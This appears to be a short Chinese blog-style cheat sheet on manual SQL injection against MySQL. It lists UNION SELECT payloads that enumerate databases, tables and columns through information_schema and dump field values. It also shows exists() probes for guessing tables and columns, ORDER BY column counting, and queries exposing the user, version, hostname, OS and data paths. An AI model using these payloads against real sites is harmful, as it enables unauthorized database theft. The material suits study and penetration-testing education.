SQL手工注入常规用法

  • Mysql5.0版本后 information_schema

 union select 1,database()       //查看数据库

 union select 1,group_concat(table_name) from information_schema.tables where table_schema='xx'    //查看xx数据库中表名

 union select 1,group_concat(column_name) from information_schema.columns where table_name='x'   //查看x表中的字段名

 union select 1,[字段名] from [表名]        //查看字段值
 

//@@... 为数据库全局变量

select database();                                        //查看数据库

select user();                                                //用户信息

select version();                                           //数据库版本

select @@character_set_database;           //字符集

select @@hostname;                                 //主机名

select @@version_compile_os;                 //操作系统

select @@basedir;                                     //mysql路径

select @@datadir;                                      //数据库路径
 

  • Sql表单猜测:

exists()函数的运用

Select * from news where id=1 and exists(select * from test);

//猜测表test是否存在,存在返回true,不存在返回false;

 

Select * from news where id=1 and exists(select username from test)

//查询猜测表test中是否存在username字段。

 

  • Sql字段猜测:

order by排序的运用

select * from news order by 3

//查询表中按第三个字段排序后的结果,如果表中不存在第三个字段,则返回false;

 

Union select联合查询

*查询的字段数(列数)必须相同

Select * from news union select * from test

//若test表字段与news表字段列数相同则查询成功。

Select * from news union select 1,2,3 test

Select * from news union select 1,id,title from test

//若字段数不同,可用数字代替多出的字段

 

Order by 常与 union 联合使用(Order by猜测出目标表字段数量,union再对目标针对查询)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值